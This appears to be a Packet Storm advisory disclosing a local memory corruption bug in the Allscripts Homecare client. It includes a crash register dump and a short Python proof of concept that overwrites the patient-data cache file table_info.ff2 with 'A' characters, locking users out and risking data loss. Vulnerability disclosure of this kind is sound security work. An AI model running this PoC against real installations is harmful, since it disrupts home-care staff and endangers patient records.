seeing is believing

Allscripts Homecare Client Local Memory Corruption

Allscripts Homecare Client Local Memory Corruption
Posted Oct 26, 2012
Authored by G13

Allscripts Homecare client versions 6.1.0 and 7.0.1 suffer from a local memory corruption vulnerability.

tags | exploit, local
MD5 | 1632366598fae412cbe2c52c7fae781c

Allscripts Homecare Client Local Memory Corruption

Change Mirror Download
# Title: Allscripts Homecare Client Local Memory Corruption table_info.ff2
# Date: 10/25/12
# Author: G13
# Software Link:
http://www.allscripts.com/en/solutions/post-acute-solutions/homecare/show/overview.html
# Version: 6.1.0, 7.0.1
# Category: Application (local)
# Tested on: Windows 7 Pro 64 Bit
# dc585

###### Introduction ######

Allscripts Homecare is an industry leading home care system designed
to improve clinical quality of care, financial
performance, and operational control for large, integrated home care
organizations and small home care companies.
Business, clinical, and scheduling functionality for multiple lines of
business—home health, hospice, and private
duty are combined seamlessly in one integrated home care software system.

###### Report Timeline ######

12/22/11 - Discovery
01/12/12 - Vendor Notification
10/25/12 - Disclosure

###### Exploit Technique ######

Local

###### Details ######

A Memory Corruption vulnerability was detected in Allscripts Homecare
6.1.0. The vulnerability is caused by
processing a corrupt .ff2 file in the program's cache and causing an
access violation. The specific file is
table_info.ff2. The cache for this program is where a local copy of
paitent and system data is stored and
accessable by users. Corrupting this will deny users access to the
program and a possible loss of data.

Other versions are possibly affected.

###### Exception Log ######

EAX 00000000
ECX 00184646
EDX 41414141
EBX 006E994F MHC.006E994F
ESP 0018F244
EBP 0018F284
ESI 006E994F MHC.006E994F
EDI 00000000
EIP 004040AF MHC.004040AF
C 0 ES 002B 32bit 0(FFFFFFFF)
P 1 CS 0023 32bit 0(FFFFFFFF)
A 0 SS 002B 32bit 0(FFFFFFFF)
Z 0 DS 002B 32bit 0(FFFFFFFF)
S 0 FS 0053 32bit FFFDD000(FFF)
T 0 GS 002B 32bit 0(FFFFFFFF)
D 0
O 0 LastErr ERROR_COMMITMENT_LIMIT (000005AF)
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
ST0 empty 0.0
ST1 empty 0.0
ST2 empty 0.0
ST3 empty %#.19L
ST4 empty 0.0
ST5 empty 0.0
ST6 empty 0.0
ST7 empty %#.19L
3 2 1 0 E S P U O Z D I
FST 1020 Cond 0 0 0 0 Err 0 0 1 0 0 0 0 0 (GT)
FCW 137F Prec NEAR,64 Mask 1 1 1 1 1 1


###### PoC ######

#!/usr/bin/python

f = open('c:\program files
(x86)\misys\homecare\client\cache\table_info.ff2','w')
f.write('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
f.close()


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    2 Files
  • 2
    Jul 2nd
    3 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    4 Files
  • 5
    Jul 5th
    15 Files
  • 6
    Jul 6th
    15 Files
  • 7
    Jul 7th
    10 Files
  • 8
    Jul 8th
    2 Files
  • 9
    Jul 9th
    10 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    15 Files
  • 12
    Jul 12th
    19 Files
  • 13
    Jul 13th
    16 Files
  • 14
    Jul 14th
    15 Files
  • 15
    Jul 15th
    3 Files
  • 16
    Jul 16th
    2 Files
  • 17
    Jul 17th
    8 Files
  • 18
    Jul 18th
    11 Files
  • 19
    Jul 19th
    15 Files
  • 20
    Jul 20th
    15 Files
  • 21
    Jul 21st
    15 Files
  • 22
    Jul 22nd
    7 Files
  • 23
    Jul 23rd
    2 Files
  • 24
    Jul 24th
    19 Files
  • 25
    Jul 25th
    28 Files
  • 26
    Jul 26th
    2 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close